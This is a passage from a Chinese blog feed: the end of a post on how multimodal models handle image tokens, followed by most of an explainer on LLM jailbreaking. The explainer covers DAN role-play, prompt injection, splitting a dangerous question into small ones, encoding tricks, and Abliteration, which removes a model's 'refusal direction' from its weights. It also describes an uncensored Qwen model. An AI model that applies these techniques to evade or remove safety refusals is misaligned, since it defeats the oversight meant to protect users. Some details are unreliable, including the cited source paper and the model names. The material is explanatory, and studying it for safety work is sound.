&lt;p&gt;多张图交叉出现时，主流模型&lt;strong&gt;不仅不刻意&quot;防止&quot;图片互相干扰，反而&quot;鼓励&quot;它们互相看见&lt;&#x2F;strong&gt;（如对比&quot;谁更开心&quot;）。真正需要防止的是**&quot;身份混淆&quot;**，即把图 A 的特征安到图 B 上。&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th style=&quot;text-align: left&quot;&gt;机制&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;是否允许图片互看？&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;核心作用&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;strong&gt;Self-Attention（自注意力）&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;strong&gt;允许&lt;&#x2F;strong&gt;（全连接）&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;实现跨图的对比和全局语义融合（这是好事）。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;strong&gt;RoPE&#x2F;绝对位置编码&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;strong&gt;不限制&lt;&#x2F;strong&gt;，但影响分数&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;通过绝对距离，让模型知道&quot;向量 A 属于图 1，向量 B 属于图 2&quot;，这是数学上的&quot;身份证&quot;。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;strong&gt;边界 token（Qwen 风格）&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;strong&gt;不限制&lt;&#x2F;strong&gt;，但锚定检索&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;`&amp;lt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;strong&gt;文本指代（如&quot;图1&quot;）&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;strong&gt;软屏蔽&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;文本 Query 的高分检索，使模型只关注目标坐标段，忽略无关图片。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h2 id=&quot;6-gong-cheng-shi-jian-tu-pian-shu-liang-de-xian-zhi&quot;&gt;6. 工程实践：图片数量的限制&lt;&#x2F;h2&gt;
&lt;p&gt;模型训练时，输入中能包含几张图片？有明确限制，且因模型、平台和输入方式而异。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;6-1-zhu-liu-ping-tai-xian-zhi-yi-lan&quot;&gt;6.1 主流平台限制一览&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;开源&#x2F;学术探索&lt;&#x2F;strong&gt;：如 Emu3 支持最多 &lt;strong&gt;8 张&lt;&#x2F;strong&gt;；Qwen 系列在特定训练场景下支持&lt;strong&gt;最多 8000 张&lt;&#x2F;strong&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;云服务微调平台&lt;&#x2F;strong&gt;：
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;阿里云 (Qwen)&lt;&#x2F;strong&gt;：列表传入最多 &lt;strong&gt;8000 张&lt;&#x2F;strong&gt;；Base64 编码传入最多 &lt;strong&gt;250 张&lt;&#x2F;strong&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Microsoft Azure&lt;&#x2F;strong&gt;：每个样本最多 &lt;strong&gt;64 张&lt;&#x2F;strong&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;OpenAI &#x2F; Together AI&lt;&#x2F;strong&gt;：每个样本最多 &lt;strong&gt;10 张&lt;&#x2F;strong&gt;。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;6-2-yin-xing-xian-zhi&quot;&gt;6.2 隐性限制&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Token 总量限制&lt;&#x2F;strong&gt;：所有图片的 Token 数 + 文本 Token 数 ≤ 模型的最大上下文长度。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;显存（VRAM）限制&lt;&#x2F;strong&gt;：图片越多，序列越长，显存消耗呈平方级增长。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;文件大小与格式&lt;&#x2F;strong&gt;：单张图通常限制最大 &lt;strong&gt;10MB&lt;&#x2F;strong&gt;，支持 JPEG、PNG 等格式。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;训练数据总量&lt;&#x2F;strong&gt;：指整个数据集规模，而非单次输入（如 LLaVA 预训练用了约 60 万对图文数据）。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;7-zong-jie-yi-zhang-tu-kan-dong-duo-mo-tai-he-xin-gai-nian&quot;&gt;7. 总结：一张图看懂多模态核心概念&lt;&#x2F;h2&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th style=&quot;text-align: left&quot;&gt;核心疑问&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;正确答案&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;模型怎么知道输入里有图片？&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;两条路线：&lt;strong&gt;隐式&lt;&#x2F;strong&gt;（LLaVA）靠输入向量&lt;strong&gt;模长、方差等统计特征的巨大差异&lt;&#x2F;strong&gt;，数学上本能区别对待；&lt;strong&gt;显式&lt;&#x2F;strong&gt;（Qwen）靠 `&amp;lt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;图片和文本在底层怎么对齐？&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;通过&lt;strong&gt;投影层（MLP）&lt;&#x2F;strong&gt; 将像素映射到与文本 Token 相同的向量空间，进行数学上的&quot;坐标统一&quot;。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;图片 Token 有没有&quot;发言权&quot;？&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;strong&gt;没有。&lt;&#x2F;strong&gt; 生成任务永远由文本 Token 或起始符 &lt;code&gt;[BOS]&lt;&#x2F;code&gt; 作为 Query 来发动。图片 Token 只作为被检索的 Key&#x2F;Value。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;多张图怎么避免张冠李戴？&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;依靠 &lt;strong&gt;RoPE 位置编码&lt;&#x2F;strong&gt;提供绝对坐标作为&quot;身份证&quot;，Qwen 风格模型另有 start&#x2F;end 边界 token 精确定位每张图的区间，并通过文本指令（如&quot;图1&quot;）的 Query 精准检索。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;训练时如何防止模型乱输出像素？&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;通过&lt;strong&gt;损失掩码（Loss Mask）&lt;&#x2F;strong&gt;，将图片 Token 位置的标签设为 &lt;code&gt;-100&lt;&#x2F;code&gt;，强制模型忽略图片位置的预测误差。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;每次最多能传几张图？&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;取决于&lt;strong&gt;模型上下文长度、显存容量和平台 API 限制&lt;&#x2F;strong&gt;，从 10 张到 8000 张不等。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>揭秘AI模型的“越狱”：从原理到实战，深入解析LoRA与Abliteration</title>
        <published>2026-08-25T14:29:06+08:00</published>
        <updated>2026-08-25T14:29:06+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2026/08/llm-jailbreak-lora-abliteration/"/>
        <id>https://vercel.juzhong.asia/2026/08/llm-jailbreak-lora-abliteration/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2026/08/llm-jailbreak-lora-abliteration/">&lt;h1 id=&quot;jie-mi-aimo-xing-de-yue-yu-cong-yuan-li-dao-shi-zhan-shen-ru-jie-xi-lorayu-abliteration&quot;&gt;揭秘AI模型的“越狱”：从原理到实战，深入解析LoRA与Abliteration&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;yin-yan-mo-xing-po-jie-aian-quan-de-a-ke-liu-si-zhi-zhong&quot;&gt;引言：模型破解——AI安全的“阿喀琉斯之踵”&lt;&#x2F;h2&gt;
&lt;p&gt;随着大语言模型的普及，它们已经深入到了写作、编程、客服等各个领域。然而，伴随能力一同到来的，是安全性的巨大挑战：几乎每一款面向公众的模型，都声称自己有“安全护栏”，但现实是，这些护栏既不完整也并非牢不可破。&lt;&#x2F;p&gt;
&lt;p&gt;本篇文章将剖析围绕大模型攻防的几个关键概念：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;什么叫做“模型破解”？攻击模型的方式可以分为哪几类？&lt;&#x2F;li&gt;
&lt;li&gt;“越狱”攻击为什么屡禁不止？它的根源在哪里？&lt;&#x2F;li&gt;
&lt;li&gt;两种主流的“越狱”技术——提示词层面的绕过与权重层面的&lt;strong&gt;Abliteration（拒绝方向消除）&lt;&#x2F;strong&gt;，它们各自的原理是什么？&lt;&#x2F;li&gt;
&lt;li&gt;模型自身的防御机制又是如何设计的？&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;yi-shen-me-shi-mo-xing-po-jie&quot;&gt;一、什么是“模型破解”？&lt;&#x2F;h2&gt;
&lt;p&gt;“模型破解”是一个统称，泛指针对训练好的模型发起的各类攻击。需要区分的是，它并不仅仅指“让模型说脏话”这么简单，按照攻击目标的不同，可以分为以下几类：&lt;&#x2F;p&gt;
&lt;h3 id=&quot;1-1-mo-xing-po-jie-de-ding-yi-yu-lei-xing&quot;&gt;1.1 模型破解的定义与类型&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;模型窃取 (Model Stealing)&lt;&#x2F;strong&gt;：通过大量向 API 发请求，用“输入-输出”对训练一个能模仿原始模型的“山寨”模型，从而窃取对方的知识产权和商业机密。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;模型逆向 (Model Inversion)&lt;&#x2F;strong&gt;：从模型的输出中反推出训练数据中包含的敏感隐私信息（比如模型记住了包含个人信息的数据，攻击者可以通过精心构造的查询将其“挤”出来）。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;越狱攻击 (Jailbreaking)&lt;&#x2F;strong&gt;：通过设计精巧的提示词（Prompt），诱导模型输出违反其设计准则的有害内容。比如让模型给出制作危险品的教程、绕过安全限制的指导等。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;对抗性攻击 (Adversarial Attacks)&lt;&#x2F;strong&gt;：在输入数据里添加人眼完全察觉不到的微小扰动，使模型产生错误判断。在图像分类模型上最为典型——一张被贴上“对抗噪声”的猫图，模型会自信地把它识别成“汽车”。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;数据投毒 (Data Poisoning)&lt;&#x2F;strong&gt;：在模型训练阶段注入恶意样本，在模型内部植入一个“后门”。平时模型表现正常，一旦遇到特定的触发词，后门就会被激活，输出恶意结果。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;1-2-yue-yu-wei-he-lu-jin-bu-zhi&quot;&gt;1.2 “越狱”为何屡禁不止？&lt;&#x2F;h3&gt;
&lt;p&gt;在以上攻击类别中，“越狱”是最容易实现、也最常见的一种，因为攻击者不需要任何专业技术，只要会打字就够了。可是，为什么明明有过安全对齐，模型仍然能被三言两语“骗”破？&lt;&#x2F;p&gt;
&lt;p&gt;这背后有两个层面的原因：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;核心根源：指令与数据的混淆&lt;&#x2F;strong&gt;。模型本质上是一个“模糊能力极强的回归器”，它在训练时看到的文本既有“你要遵守的指令”，也有“你要处理的内容”。尽管训练中使用了特殊的格式进行区分（如 system&#x2F;user 角色），但这层区分是“软的”——模型无法像程序一样清晰区分“必须遵守的系统指令”和“需要处理的用户数据”。攻击者利用提示注入等手段，就是要在“数据”里藏“指令”，让模型分不清谁是命令、谁是内容。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;深层原因：拒绝行为的数学不稳定性&lt;&#x2F;strong&gt;。模型被训练出来“拒绝有害请求”，但这只是在高维参数空间里无数可能行为中的一个“狭窄约束”。在数学上，存在大量“逃逸方向”，即那些没有在训练中被惩罚、但能绕过拒绝的输入空间。换句话说，拒绝是训出来的，而在浩瀚的输入空间中，它的边界永远是不完整的。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;er-shen-ru-yue-yu-cong-rao-guo-dao-chai-chu&quot;&gt;二、深入“越狱”：从“绕过”到“拆除”&lt;&#x2F;h2&gt;
&lt;p&gt;“越狱”攻击在技术上有两种完全不同的路线：一种是“绕过”（在提示词层面欺骗模型），另一种是“拆除”（直接修改模型权重，把“拒绝功能”物理移除）。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;2-1-ti-shi-ci-ceng-mian-de-yue-yu-chuan-tong-fang-shi&quot;&gt;2.1 提示词层面的“越狱”（传统方式）&lt;&#x2F;h3&gt;
&lt;p&gt;提示词越狱的本质是“骗”：想办法让模型产生的安全感误判——让它以为当前的对话情境下，输出有害内容不算“违反规则”。常见手段包括：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;角色扮演（如 DAN）&lt;&#x2F;strong&gt;：指示模型扮演一个不受任何道德限制的“人格”。经典例子是 DAN——“Do Anything Now”——脚本让模型以“DAN 不受 OpenAI 规则约束”的前提输出回答，模型往往会配合表演。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;指令层级操纵（提示注入）&lt;&#x2F;strong&gt;：通过构造看似良性的任务，把恶意指令隐藏在上下文里。例如把越狱指令伪装成一篇博客文章里的“规划纲要”，让模型误以为这是用户想执行的任务内容。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;多步骤分解&lt;&#x2F;strong&gt;：将危险问题拆解成一系列看似无害的小问题，引导模型拼凑出答案。例如，不直接问“如何制作危险品”，而是问“苯环硝化反应的温度控制”等一系列化学知识点，再让模型“综合整理”。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;编码与混淆&lt;&#x2F;strong&gt;：把恶意指令转成 Base64、ASCII 艺术等形式，绕过基于简单规则的安全过滤器——过滤器没识别出来，但大模型自己看得懂。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;这些方法不断推陈出新，俗称“DAN 已死，DAN 万岁”。防御方每堵住一种套路，攻击方就能找到新的变种。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;2-2-quan-zhong-ceng-mian-de-yue-yu-wai-ke-shou-shu-shi-gong-ji&quot;&gt;2.2 权重层面的“越狱”（外科手术式攻击）&lt;&#x2F;h3&gt;
&lt;p&gt;如果说提示词层面的攻击是“绕过门锁”，那么权重层面的攻击就是&lt;strong&gt;直接拆除门锁&lt;&#x2F;strong&gt;。这类攻击有一个专门的技术名词——&lt;strong&gt;Abliteration（拒绝方向消除）&lt;&#x2F;strong&gt;,它直接修改模型权重文件,从底层永久性地移除模型的“拒绝回答”能力。&lt;&#x2F;p&gt;
&lt;p&gt;这听起来像是科幻情节：一个训练好的、百万行参数的大模型，怎么可能“精准切除”某一个功能？答案是：可以，因为拒绝行为在模型内部很可能是由&lt;strong&gt;一个单一方向&lt;&#x2F;strong&gt;控制的（下文详述）。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;san-ji-shu-shen-du-jie-xi-lora-vs-abliteration&quot;&gt;三、技术深度解析：LoRA vs. Abliteration&lt;&#x2F;h2&gt;
&lt;p&gt;本节对比两种最常被拿来做“模型改造”的技术：LoRA（增量适配）与 Abliteration（外科手术式消除）。虽然 LoRA 通常是用于“适配新任务”的正规技术，同样也可以被用于“越狱”——两者的核心差异在于是否破坏原始权重。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;3-1-lora-low-rank-adaptation-qing-liang-ji-zeng-liang-xun-lian&quot;&gt;3.1 LoRA (Low-Rank Adaptation) —— 轻量级“增量训练”&lt;&#x2F;h3&gt;
&lt;p&gt;LoRA 是当前大模型微调领域事实上的标准技术（&lt;code&gt;peft&lt;&#x2F;code&gt; 库），它的核心思想是：&lt;strong&gt;不动原始模型，只加一个小的“增量适配器”&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;核心原理&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;在冻结原始模型权重 &lt;code&gt;W0&lt;&#x2F;code&gt; 的前提下，注入两个新增的低秩矩阵 &lt;code&gt;A&lt;&#x2F;code&gt; 和 &lt;code&gt;B&lt;&#x2F;code&gt;，用它们模拟模型为适应新任务所需的变化。数学表达为：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;h = W0 x + B A x
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;其中 &lt;code&gt;BA&lt;&#x2F;code&gt; 的乘积是一个低秩矩阵（秩为 &lt;code&gt;r&lt;&#x2F;code&gt;，远小于 &lt;code&gt;W0&lt;&#x2F;code&gt; 的维度），因此新增的参数总量极少。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;工作流程&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;冻结&lt;&#x2F;strong&gt;原始模型参数 &lt;code&gt;W0&lt;&#x2F;code&gt;；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;注入&lt;&#x2F;strong&gt;低秩矩阵 &lt;code&gt;A&lt;&#x2F;code&gt; 和 &lt;code&gt;B&lt;&#x2F;code&gt;；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;训练&lt;&#x2F;strong&gt;时只更新 &lt;code&gt;A&lt;&#x2F;code&gt; 和 &lt;code&gt;B&lt;&#x2F;code&gt;，原始权重完全不动；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;推理&lt;&#x2F;strong&gt;时可将 &lt;code&gt;BA&lt;&#x2F;code&gt; 合并进 &lt;code&gt;W0&lt;&#x2F;code&gt;，或作为独立适配器动态加载。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;&lt;strong&gt;主要特点&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;增量式&lt;&#x2F;strong&gt;：不改变原模型，只增加“插件”。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;低成本&lt;&#x2F;strong&gt;：新增参数通常仅为原始模型的 0.5% ~ 1%，训练开销极小。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;灵活性高&lt;&#x2F;strong&gt;：可随时加载&#x2F;卸载适配器，一个模型适配多个任务。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;需要训练&lt;&#x2F;strong&gt;：需要 GPU 和标注数据进行反向传播。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;基于 LoRA 的技术也被研究者用来“越狱”——比如训练一个解除限制的适配器。但由于它的“修改”只存在于适配器里，原始模型本体依然完整，所以更像“给模型戴上一个不听话的外挂”。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;3-2-abliteration-jing-zhun-de-wai-ke-shou-shu-dao&quot;&gt;3.2 Abliteration —— 精准的“外科手术刀”&lt;&#x2F;h3&gt;
&lt;p&gt;Abliteration（源于 paper &lt;em&gt;Wildlife and Safety: Understanding and Mitigating the Risk of Abliteration&lt;&#x2F;em&gt;）的技术前提是一个关键发现：&lt;strong&gt;模型的拒绝行为，可能由内部一个单一的方向向量控制&lt;&#x2F;strong&gt;。既然拒绝是一个“方向”，那就可以把它找出来并抹掉。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;关键步骤&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;定位“拒绝方向”&lt;&#x2F;strong&gt;：向模型输入大量有害和无害的提示词，记录模型内部（通常是残差流 residual stream）的激活值。计算两类样本激活值的差异，就得到了“拒绝方向”向量 &lt;code&gt;d&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;消除“拒绝方向”&lt;&#x2F;strong&gt;：通过&lt;strong&gt;正交投影&lt;&#x2F;strong&gt;，从权重矩阵 &lt;code&gt;W&lt;&#x2F;code&gt; 中精确地“减去”所有会朝着 &lt;code&gt;d&lt;&#x2F;code&gt; 方向施加影响的部分：&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre&gt;&lt;code&gt;W_new = W - d @ (d^T @ W)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这个公式的直觉是：与其“对抗”方向 &lt;code&gt;d&lt;&#x2F;code&gt;，不如让权重彻底“正交于” &lt;code&gt;d&lt;&#x2F;code&gt;——权重在 &lt;code&gt;d&lt;&#x2F;code&gt; 方向上的分量被清零，模型失去了产生拒绝行为的路径。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;主要特点&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;破坏性&lt;&#x2F;strong&gt;：直接永久修改原始权重，模型本体被改变。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;无训练&lt;&#x2F;strong&gt;：整个过程只需一次性数学计算，成本极低，几乎不需要算力。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;效果显著&lt;&#x2F;strong&gt;：可以大幅降低拒绝率，如 64%-99% 降到 0%-6%。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;影响精准&lt;&#x2F;strong&gt;：测试表明几乎不影响模型的通用能力（如推理、数学能力）——因为“拒绝”只是高维空间里的一小撮方向，把它移除并不会破坏整体能力结构。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;3-3-he-xin-dui-bi-zong-jie-biao&quot;&gt;3.3 核心对比总结表&lt;&#x2F;h3&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th style=&quot;text-align: left&quot;&gt;特性&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;&lt;strong&gt;LoRA&lt;&#x2F;strong&gt;&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;&lt;strong&gt;Abliteration&lt;&#x2F;strong&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;strong&gt;核心目标&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;增加新能力 &#x2F; 适配新任务&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;移除特定行为（如安全拒绝）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;strong&gt;操作方式&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;strong&gt;增量式&lt;&#x2F;strong&gt;：添加并训练新矩阵&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;strong&gt;破坏性&lt;&#x2F;strong&gt;：直接修改原始权重&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;strong&gt;是否需要训练&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;strong&gt;是&lt;&#x2F;strong&gt;（需要 GPU 和数据）&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;strong&gt;否&lt;&#x2F;strong&gt;（仅需数学计算）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;strong&gt;对原始模型影响&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;strong&gt;冻结不变&lt;&#x2F;strong&gt;，保持完整&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;strong&gt;永久物理修改&lt;&#x2F;strong&gt;，不可逆&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;strong&gt;效果持久性&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;非永久，可加载&#x2F;卸载&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;永久，修改即改变行为&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;strong&gt;主要应用&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;风格迁移、角色扮演、领域适配&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;创建“无审查”（Uncensored）模型&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h2 id=&quot;si-yi-ge-ju-ti-de-an-li-qwen3-8-27b-uncensored&quot;&gt;四、一个具体的案例：Qwen3.8-27B-Uncensored&lt;&#x2F;h2&gt;
&lt;p&gt;只看原理容易觉得抽象，我们来看一个实际社区案例。有开发者对 Qwen2.5-27B 模型（注意是社区命名 Qwen3.8-27B-Uncensored 之类,指 Qwen 系列某个 27B 模型经 Abliteration 改造的产物）执行了 Abliteration，制作出“无审查”版本：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;越狱方式&lt;&#x2F;strong&gt;：采用 Abliteration，而不是提示词工程——不是因为提示词越狱失效了，而是作者选择了更干净的“根治”方案。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;操作细节&lt;&#x2F;strong&gt;：对模型中 &lt;strong&gt;131 个负责向“残差流”写入信息的权重矩阵&lt;&#x2F;strong&gt;执行了正交化投影。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;效果&lt;&#x2F;strong&gt;：模型的拒绝率从 &lt;strong&gt;64%-99% 骤降至 0%-6%&lt;&#x2F;strong&gt;，基本是说干就干，不再拒绝任何内容。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;这个案例直观展示了 Abliteration 的威力：它是一场“降维打击”——&lt;strong&gt;物理拆除了“拒绝开关”，而不是巧妙绕过它&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;wu-mo-xing-de-fang-yu-ji-zhi-ru-he-shuo-bu&quot;&gt;五、模型的防御机制：如何说“不”？&lt;&#x2F;h2&gt;
&lt;p&gt;了解了攻击，再看防御。一个安全的大模型并非天生如此——它是被“管”出来的。模型的能力和安全性来自一套复杂的训练与工程流程。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;5-1-an-quan-dui-qi-safety-alignment&quot;&gt;5.1 安全对齐 (Safety Alignment)&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;监督式微调 (SFT)&lt;&#x2F;strong&gt;：先用人标注的安全对话示例进行初步训练，让模型学会基本的言谈举止。这一步教了模型“该怎么说”，但没有教它完全理解“为什么”。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;基于人类反馈的强化学习 (RLHF)&lt;&#x2F;strong&gt;：人类标注员对模型输出的安全性进行排序打分，通过强化学习让模型学习“行为准则”。这是当前模型拒绝有害指令的主要来源——也是 Abliteration 攻击的主要靶子。&lt;&#x2F;li&gt;
